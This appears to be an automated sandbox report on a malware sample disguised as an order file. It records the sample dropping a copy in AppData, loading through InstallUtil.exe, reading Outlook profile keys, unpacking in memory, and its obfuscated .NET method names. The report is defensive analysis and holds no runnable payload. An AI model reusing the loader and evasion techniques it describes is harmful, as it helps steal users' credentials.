Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: GEFA-Order 232343-68983689.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: GEFA-Order 232343-68983689.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000043AA000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.0000000004201000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.00000000033BB000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1410426662.0000000006F50000.00000004.08000000.00040000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1585499252.00000000040A8000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1566745789.000000000306C000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1677808724.00000000041E8000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1653047795.000000000313D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: GEFA-Order 232343-68983689.exe, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000043AA000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.0000000004201000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.00000000033BB000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1410426662.0000000006F50000.00000004.08000000.00040000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1585499252.00000000040A8000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1566745789.000000000306C000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1677808724.00000000041E8000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1653047795.000000000313D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1409541914.0000000006D80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1409541914.0000000006D80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, JxjTJsLcVMlWTHfxdv2.cs

.Net Code: Type.GetTypeFromHandle(LRRHRdFacvx8pdkSBQ9.K9nM54wEA2(16777265)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(LRRHRdFacvx8pdkSBQ9.K9nM54wEA2(16777259)),Type.GetTypeFromHandle(LRRHRdFacvx8pdkSBQ9.K9nM54wEA2(16777263))})

.NET source code contains potential unpacker

Source: GEFA-Order 232343-68983689.exe, -.cs	.Net Code: _E009 System.Reflection.Assembly.Load(byte[])
Source: GEFA-Order 232343-68983689.exe, Wgiucr.cs	.Net Code: _E003 System.AppDomain.Load(byte[])
Source: Fqhnalw.exe.0.dr, -.cs	.Net Code: _E009 System.Reflection.Assembly.Load(byte[])
Source: Fqhnalw.exe.0.dr, Wgiucr.cs	.Net Code: _E003 System.AppDomain.Load(byte[])
Source: 0.2.GEFA-Order 232343-68983689.exe.6d80000.10.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.GEFA-Order 232343-68983689.exe.6d80000.10.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.GEFA-Order 232343-68983689.exe.6d80000.10.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.GEFA-Order 232343-68983689.exe.6d80000.10.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.GEFA-Order 232343-68983689.exe.6d80000.10.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.GEFA-Order 232343-68983689.exe.435a4d8.4.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.GEFA-Order 232343-68983689.exe.435a4d8.4.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.GEFA-Order 232343-68983689.exe.435a4d8.4.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.GEFA-Order 232343-68983689.exe.45a8650.6.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.GEFA-Order 232343-68983689.exe.45a8650.6.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.GEFA-Order 232343-68983689.exe.45a8650.6.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.GEFA-Order 232343-68983689.exe.45a8650.6.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.GEFA-Order 232343-68983689.exe.45a8650.6.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.GEFA-Order 232343-68983689.exe.6ea0000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1653047795.0000000003042000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1410088723.0000000006EA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1566745789.0000000002F02000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1389741733.0000000003252000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fqhnalw.exe PID: 7784, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fqhnalw.exe PID: 7972, type: MEMORYSTR

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_030B4D1B push E4057763h; ret	0_2_030B4D25
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D62EA7 push esp; retf	0_2_06D62EA8
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06DD3228 push es; ret	0_2_06DD3244
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F13D98 push es; iretd	0_2_06F13DF8
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F1C328 push es; ret	0_2_06F1C340
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F235F3 push edi; retf	0_2_06F235F6
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F259F9 push es; retf	0_2_06F25A14
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F259C1 push es; retf	0_2_06F259C4
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F37791 push es; ret	0_2_06F37760
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F37750 push es; ret	0_2_06F37760
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06FF6EAB push ecx; ret	0_2_06FF6EAC
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06FF75A3 push es; retf	0_2_06FF75A4
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06FF8137 push es; retf	0_2_06FF8144
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06FF8120 push es; retf	0_2_06FF8134
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05B32AA8 push ebp; ret	2_2_05B32B15
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_01314D1B push E4053963h; ret	4_2_01314D25
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06972EA7 push esp; retf	4_2_06972EA8
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_069E3228 push es; ret	4_2_069E3244
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B335F3 push edi; retf	4_2_06B335F6
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B359FA push es; retf	4_2_06B35A14
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06B47750 push es; ret	4_2_06B47760
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4_2_06C071AF push es; ret	4_2_06C071B0
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06A12EA7 push esp; retf	6_2_06A12EA8
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06A83228 push es; ret	6_2_06A83244
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BCC33A push es; ret	6_2_06BCC340
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BD35F3 push edi; retf	6_2_06BD35F6
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BD5C8D push es; iretd	6_2_06BD5C9C
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BD59BD push es; retf	6_2_06BD59C4
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06BD59EE push es; retf	6_2_06BD5A14
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 6_2_06CA71AF push es; ret	6_2_06CA71B0

Source: 0.2.GEFA-Order 232343-68983689.exe.6c10000.9.raw.unpack, PWuAggHN1HpMin2PDW6.cs	High entropy of concatenated method names: 'O7EHmGWwrv', 'JUlgefjRAuMnh7Hg3aj', 'fL0H2Qj05n5mT42iUOT', 'wAMSf4j29PcevwbpKob', 'mHTe4cjhBAGQmCr6xO1', 'Vi4UuVj4plQ9OoVvyUg', 'VuaXtZjudjESyFFUTOg', 'u1CaaWjIlBsqZviuhhN'
Source: 0.2.GEFA-Order 232343-68983689.exe.6c10000.9.raw.unpack, x8qeriHsBiUsCQ7g3Bh.cs	High entropy of concatenated method names: 'RtlInitUnicodeString', 'LdrLoadDll', 'RtlZeroMemory', 'NtQueryInformationProcess', 'WknHoSKiuK', 'NtProtectVirtualMemory', 'um9CMOjkTJBulBtD1M6', 'AgV0kbjc7MCu5ZFEpup', 'ktjuabjyTc4tQaY8LFM', 'IiROs2jP1JToUIORgjU'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, wPjajNLxVBtGCJ45WII.cs	High entropy of concatenated method names: 'ATNLsnd3gI', 'xe0LAtDy58', 'OA5xFRExuLUORWWkLMV', 'yN7xedEXoEaL9xgYHKx', 'H3MVXfEsohQ8ovj4PLy', 'yoGBYrECHASZRo8Nvtb', 'fsdDcTEbcK1xd1SD2vI', 'rHGCqOEAaXvb2At54Vi', 'PtSO4FEoggL5JR40DHM', 'cWva4nE3G1xQugeWYHX'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, QHduFXLaVP1TF6Ocs6J.cs	High entropy of concatenated method names: 'gq5nWAac56', 'iApdoSpoYlHMYZHX9xy', 'Y3jNd7p3GlK61ruKs7k', 'PqhGHepGlv6IXokSEcJ', 'VUa4P9pjaVYPTlDBaB2', 'PfncjDpsvYFuy0i2F9b', 'KwJR3EpA6lfFe0shIxL', 'zNy03GpUU77HwMa9kBV'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, AssemblyLoader.cs	High entropy of concatenated method names: 'CultureToString', 'ReadExistingAssembly', 'CopyTo', 'LoadStream', 'LoadStream', 'ReadStream', 'ReadFromEmbeddedResources', 'ResolveAssembly', 'Attach', 'hZwBFkEZPJ9N4PRApwN'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, FmqK0HYXcqdWWCTqseo.cs	High entropy of concatenated method names: 'x9EYArtnLA', 'uK3YNlUhPMCArIgVk6o', 'QT7UukU4pLA8lP3Kquw', 'QWRJckURduFnJxXATs9', 'J4TPZ3U0VQCy5KZNZiN', 'AUsrduU23X04851qJT3', 'WNOXccUWDCkbdLjyMP4', 'FeNhYZUz04smZQHRQC9', 'NdRYHIUwgyyekshQLXH', 'RAjrCaUZdbqXlW1RIAy'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, kiieacYyLDVXknvEPce.cs	High entropy of concatenated method names: 'AlXYPLE6X5', 'om3QBSavvFVAol3lZSO', 'X5r1DdanjKMuNxcCxmI', 'g01YW7aMI6O63Llhsj6', 'jeNMsJar1ZGo6LUHcY6', 'okrQ7WaOFyZ9JgayMWK', 'mlLthBadqIqUd1XAie3', 'be3IHHaPT6ExNOOeAKi', 'd1MojBammXKB9GAawEd'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, JxjTJsLcVMlWTHfxdv2.cs	High entropy of concatenated method names: 'ha7SB8pcwohQTThramj', 'OWf1c7pyXxHdaePwK3m', 'WQoFFTjuuB', 'qxXrJFpv4ptGFiyYk9Z', 'DWLNmfpnk3gHBjuGdRk', 'NhSmiRpMeAmYSslhmVV', 'mg8uXdprcvJDTJ2npt7', 'wkKSmrpO8jZJ9NGZRhT', 'HQFYs0pd8WGiLN9GBCe', 'g41RZQpu9VO1tQ0D1Pq'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, PWuAggHN1HpMin2PDW6.cs	High entropy of concatenated method names: 'O7EHmGWwrv', 'JUlgefjRAuMnh7Hg3aj', 'fL0H2Qj05n5mT42iUOT', 'wAMSf4j29PcevwbpKob', 'mHTe4cjhBAGQmCr6xO1', 'Vi4UuVj4plQ9OoVvyUg', 'VuaXtZjudjESyFFUTOg', 'u1CaaWjIlBsqZviuhhN'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, gZTcoBYIhXdy8A0494X.cs	High entropy of concatenated method names: 'kg6Y7GGPri', 'PSFvb4N9R1M85gZ3BGe', 'tjt38wN5j8RIBHWkR5G', 'etegSYNqskh2XUiBe31', 'afvA92NSfLVjZJPBuCB', 'zBXwouNf6nPGHjTgZqY', 'Ee1kmkNKbfprBSATHkT', 'LP5smUNHmRSlk0xrc3r', 'tkMEvYN8JJ7144rmjCt', 'XkMniDNQMdSSMxcRBK5'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, RjtGPgY4ymoWKP9ii5p.cs	High entropy of concatenated method names: 'qnmY06nfww', 'hxiaYgNleqa8Ij0RHLB', 'CMF11INtdciGSIwEtAT', 'xibCeDNJeMLkNyKlkGm', 'ebjUHtNDYijVk70mM7O', 'gIbv8KNCe6kYxNLV48y', 'xTCH9CNbhksnHZ3o88R', 'TgiFRDNxosnOFaqKxwD', 'D1LRsONVmqM8HXcuuKI', 'tuEVwXNewUSk67Nsv30'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, f3wXxBYNq9F1SJgcUAq.cs	High entropy of concatenated method names: 'MBLYpLGR3N', 'VxSYcixvpL', 'wlydAEaFpgvIIuTqT0h', 'wwaikWaikM19y53SFgJ', 'UOJXPoaTwCcGklhKiLm', 'jFjyF7aBPcX8w1wAFKT', 'dT77ISa6dcY46R1hJ0M', 'ydmWsNaVdKjeuBMdeuj', 'aTbeXxaeE57U4Jl2g5F', 'sqaggAal43xdlCrjFMN'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, oEEQSgFyPd15mbdaK5K.cs	High entropy of concatenated method names: 'EbmFgeoxxX', 'LGkF70Dbmo', 'Wn8Fwuvqag', 'NG6FZDADem', 'VlEFh86t7U', 'VZlF4jfUb5', 'vhpFRVrJT7', 'Uo1F0jtXvb', 'TDoF2wX7b4', 'gacFWvKVV4'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, fI4G2qLelv5bYkkZfpj.cs	High entropy of concatenated method names: 'vWgLt8TaMG', 'aHrLJeuiPO', 'XabPdkN4UbvilcqtXVn', 'ROl5i9NZZp6cLKxXlV5', 'XTHow0NhUD7tlZauZ5o', 'Sq8c64NRT0deAZOWuS5', 'Wdi3eIN08Chm5XppncO', 'lwZupnN2slPSFm5aLqY', 'H7PuGdNWsoEUCe0DqUa', 'mdbHvlNzmamwnVBPP1x'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, Co0A9jqXlr6qGqDdKMt.cs	High entropy of concatenated method names: 'NxgqALMbaq', 'GlOp7HovgSQ8ggHV1Hy', 'b6uvfIonWikyy3StJV5', 'vncP3woMLUEH8i1wwrx', 'zAJcx4ortoAle3OE1OY', 'U2bxVEoOg1Y5xs1tSfZ', 'qZYDSfodUCw2wTRE71o', 'ViyhgnouP4ksp6M6axP', 'YWurRroIPxkglApBDO4', 'ngAX3Hogn87nTcMrTh2'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, kncZcYYjmBu2V9XP5yZ.cs	High entropy of concatenated method names: 'j13Ya76HV1', 'hJfvSwaHT4gGhWRvwMj', 'GthVhna8T6xbkQUYCAK', 'QgEnJ5aQYgbkQaXmjLI', 'WuWs5RaYgJaE3Fwb4UX', 'sP29pOaLakEYCyoQb9S', 'QEEsZiafNmf8B5xwy0v', 'plB5LyaKGtyJobgW2iR'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, EU5KwsKPaHxhtlegHuv.cs	High entropy of concatenated method names: 'gK2KvebP0W', 'x2lKnlsI8P', 'M93KMoWeGk', 'VFTFDDGrskPYkUJWaE0', 'JPug6TGOjfRMUZn1Lkr', 'aul52YGnA6ur6cFquXW', 'OJq00rGMOD7MTpqsybI', 'L9CSAKGdpHGrCxj0U73', 'lNnq7ZGuXrMvBd7wwUG', 'OHVqOwGIIbmhfMMhaDT'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, oQye58HYTNSxVojPK90.cs	High entropy of concatenated method names: 'yYAH1Q1uST', 'nDjHipEjI5', 'pduHBpe1LA', 'e46HVkRBQT', 'VIbHelx4g5', 'NcvHl2lgEP', 'qNsHtoefZK', 'kLbHJV5wxK', 'xcAHDD4qe8', 'uQeHCO2UKk'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, M9JfWZY2VRjiUYPybnl.cs	High entropy of concatenated method names: 'bjJYzegChl', 'l6oL5FPVH6', 'OBJL9hrJrI', 'RupHt8NoJNuk4JejgSa', 'W4ZSOcN3dasRruXFSYV', 'egayr0Nsqnk8GLhHmVN', 'H70NshNAlTn9T8quvof', 'GpmxC4NGrs3LqVYbuKu', 'KqWhyTNjrlCSs5o4WgR', 'rnH7pjNUTkL4VHMaLOl'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, CQA4r2LoH9wH6pUdYJC.cs	High entropy of concatenated method names: 'wOkLGwVGqF', 'DoKjGSEa43XMtHTeaia', 'P6foXeENbX0uw9Z2Cyt', 'uH23nDEEiVTVuU73tvs', 'PXgnuyEpd5VsTTlts9g', 'KuhpHhEc1CYwRnZXsod', 'nOWqwIEjnmZux0q8NT9', 'nfoN5CEUK1pikVHcCqc'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, IZZy7JLDFeenSO0icyT.cs	High entropy of concatenated method names: 'n5uLbS790s', 'dpq3QgETb4y1sZdktib', 'fS4fNJEBaX9NOMSD48T', 'yvUUGvE6Ljrka1ZflwX', 'W0vqyjEVGIertMiJl1p', 'HkN6ftEe23cB93FHqug', 'ajj39FElAcv2Hi87rPC', 'dkvVtVEtOfnwMkviuCT', 'KvhmEdEJlr9kM19LfZA', 'LcZFcWEFgSPtOLs4KMW'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, vVvmoAKshOI3CYByEU9.cs	High entropy of concatenated method names: 'I2yKolROla', 'AuvK32fgpu', 'zHrCRk3gOesgIX0f9Sa', 'LtLIHa378qOeleAJl1t', 'MxXjaW3whjbRNa5csRM', 'bhJHex3ZmYFiHLfStlN', 'U7atlO3hxS0N12MKDQk', 'INFDYd34YQtVwK1DvGL', 'FS87Fe3R30eTVwMFJ0U'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, giuiruLLVoSgHCDgSKv.cs	High entropy of concatenated method names: 'BxgLFO3gGZ', 'akZj4ONm5aRJKKRDvGu', 'QKp4X2Nv4xHEiWwqweZ', 'U7BDDhNnXle51mA56yG', 'yHr2yZNMM60PrLZXjTS', 'uVf0TQNrgZV3cfxfcGM', 'J4LOmONOPV8A5iVN48V', 'xIghixNkcxpO0RTVkvc', 'oANC1rNPVXlc7118a0H'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, a4Q8BdKaRRTEoOpd3I2.cs	High entropy of concatenated method names: 'TgIKErhDYs', 'f1aKp83qHd', 'JWuKcKbomk', 'LkhKyF1JHY', 'e6lKkxchgj', 'rcUWmFGKolveZJaBSw2', 'DyrWDjGHLF3h9SjnO6X', 'gBhOqFG8reOgH6rmmOG', 'BPq10sGQVfZSty6Idjk', 'cnfy2oGYlaqoIqnXXRC'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, qAH9T2bbgSkLUxZjiJ.cs	High entropy of concatenated method names: 'suGXRc12y', 'Jf5sTIlN4', 'Hfao9G144', 'nSNAEYdE2', 'hiK0gXofhLaICRXyqbI', 'JOB0y0oKGfUQECWPX5O', 'V1jTA2oHo4tiSNx6oL3', 'nKCIQTo8LbpjFL29nx3', 'mYUqmBoQ7xnCANPefDX', 'k7DnC1oYDfF3YUZ5e2C'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, x8qeriHsBiUsCQ7g3Bh.cs	High entropy of concatenated method names: 'RtlInitUnicodeString', 'LdrLoadDll', 'RtlZeroMemory', 'NtQueryInformationProcess', 'WknHoSKiuK', 'NtProtectVirtualMemory', 'um9CMOjkTJBulBtD1M6', 'AgV0kbjc7MCu5ZFEpup', 'ktjuabjyTc4tQaY8LFM', 'IiROs2jP1JToUIORgjU'
Source: 0.2.GEFA-Order 232343-68983689.exe.4209970.3.raw.unpack, gwdD7dYmtsJfGI2KoDq.cs	High entropy of concatenated method names: 'gJhYr6TQTt', 'FFcYO7lHBN', 'u5HYnqDIXe', 'd7aYMkdxJD', 'VsVV8ua7L4jK21wIale', 'eJEN68awnikXOKyrn9U', 'xw4cHaaZcqyPVZ4nXHr', 'IqA1lCah1T37TsQtmBi', 'bMtpdFa4gCii6BjmUT8', 'aAURTkaISa9mFLkgGOe'
